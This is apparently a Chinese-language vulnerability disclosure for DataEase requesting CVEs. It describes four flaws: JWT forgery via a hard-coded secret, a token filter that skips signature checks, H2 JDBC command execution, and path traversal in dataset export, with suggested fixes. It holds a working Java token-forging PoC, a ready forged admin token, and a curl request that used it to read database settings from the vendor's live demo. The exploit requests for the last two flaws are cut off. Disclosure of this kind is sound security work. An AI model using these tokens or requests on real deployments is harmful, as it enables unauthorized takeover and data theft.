**found by:unam4 、SpringKill **
https://github.com/unam4
https://github.com/springkill
请为下面4 个问题分配cve,这对我们非常重要。
0x01 Jwt 伪造
代码分析
io.dataease.substitute.permissions.login.SubstituleLoginServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class SubstituleLoginServer {
@PostMapping("/login/localLogin") public TokenVO localLogin(PwdLoginDTO dto) { TokenUserBO tokenUserBO = new TokenUserBO(); tokenUserBO.setUserId(1L); tokenUserBO.setDefaultOid(1L); String md5Pwd = "83d923c9f1d8fcaa46cae0ed2aaa81b5"; return generate(tokenUserBO, md5Pwd); }
@GetMapping("/logout") public void logout() { LogUtil.info("substitule logout"); }
private TokenVO generate(TokenUserBO bo, String secret) { Algorithm algorithm = Algorithm.HMAC256(secret); Long userId = bo.getUserId(); Long defaultOid = bo.getDefaultOid(); JWTCreator.Builder builder = JWT.create(); builder.withClaim("uid", userId).withClaim("oid", defaultOid); String token = builder.sign(algorithm); return new TokenVO(token, 0L); } }
|
这里直接把jwt的secret 硬编码在代码里面,而且uid,和oid写死了。
也就是攻击者可以直随便伪造jwt接管服务。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package io.dataease;
import com.auth0.jwt.JWT; import com.auth0.jwt.JWTCreator; import com.auth0.jwt.algorithms.Algorithm; import io.dataease.api.permissions.login.api.LoginApi; import io.dataease.auth.vo.TokenVO;
public class jwt { public static void main(String[] args) { String secret = "83d923c9f1d8fcaa46cae0ed2aaa81b5"; Algorithm algorithm = Algorithm.HMAC256(secret);
Long userId = 1L; Long defaultOid = 1L;
JWTCreator.Builder builder = JWT.create(); builder.withClaim("uid", 1).withClaim("oid", 1).withClaim("exp",99999999999L);
String token = builder.sign(algorithm);
System.out.println("X-DE-TOKEN: "+token); } }
|

生成的jwt
1
| X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY
|
验证
这里直接使用官网demo做演示,
1 2 3 4
| curl 'https://demo.dataease.cn/de2api/datasource/hidePw/985188400292302848' \ -H 'Accept: application/json, text/plain, */*' \ -H 'Accept-Language: zh-CN' \ -H 'X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY'
|

直接获取官网demo的数据库配置。
也就是我登陆的时候随便填写,把登陆接口的数据返回包修改若下,即可进入系统
1
| {"code":0,"msg":null,"data":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY","exp":99999999999}}
|

随便填写

拦截返回包改为生成的

修改后放包
https://demo.dataease.cn/#/login?redirect=/workbranch/index
由于抓包很卡,刷新后,进入系统。

修复
jwt密钥不要硬编码在代码里,写在application.yml, 采用动态生成jwt密钥。 或者置空,提示用户自动填写。
0x02 filter 绕过
注意和jwt伪造不是一个漏洞
分析
io.dataease.auth.filter.TokenFilter
io.dataease.auth.filter.TokenFilter#doFilter




从head里面获取X-DE-TOKEN,或者X-DE-LINK-TOKEN字段

io.dataease.utils.TokenUtils#userBOByToken

直接直接队jwt进行decode,并获取uid,oid,没有进行验证签名,也没验证时间戳,导致可绕过filter检测,访问后台api。

修改后的jwt,没校验签名,可以直接解码成功。绕过filter。
复现

正常的jwt

修改jwt第二段的

使用修改后的第二段替换,可以看见没有修改第三段的签名信息,还是可以反问
1 2 3 4 5 6 7 8 9 10 11 12
| GET /de2api/engine/getEngine HTTP/1.1 Host: 10.211.55.14:8100 Accept: application/json, text/plain, */* out_auth_platform: default X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxfQ.5ucGCcq8U0IZXxMs_CuaDpbqdRbDaKUCal9lPmZIF0Q Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Referer: http://10.211.55.14:8100/ Accept-Encoding: gzip, deflate, br Connection: close
|
修复方案
filter验证jwt时,采用验证第三段签名形式。
0x03 命令执行漏洞
io.dataease.api.ds.DatasourceApi#getSchema

io.dataease.datasource.server.DatasourceServer#getSchema

根据闯入的数据库类型得到Provider
io.dataease.datasource.provider.CalciteProvider#getSchema

创建jdbc链接

这里会调用h2

在这里创建链接

H2 没有做任何依赖,导致可以执行任意命令
复现

构造恶意数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /de2api/datasource/getSchema HTTP/1.1 Host: 10.211.55.14:8100 Content-Length: 697 Accept: application/json, text/plain, *
|
成果过滤
修复方案
对jdbc的CREATE Trigger 过过滤。
0x04 目录穿越(可忽略)
后缀写死了,造成不了大危害。

io.dataease.dataset.server.DatasetTreeServer#exportDataset

调用exportCenterManage.addTask

这里直接获取request.getFilename(),没有过滤../ 导致可目录穿越。
进过一系列处理来到
io.dataease.exportCenter.manage.ExportCenterManage#startDatasetTask

这里会创建文件,由于没有过滤../。导致可以写入到任意路径。
复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /de2api/datasetTree/exportDataset HTTP/1.1 Host: 10.211.55.14:8100 Content-Length: 135 Accept: application/json, text/plain, *
|
发送数据包
可以看创建。


创建成功。
修复方案
对../,..\\ 过滤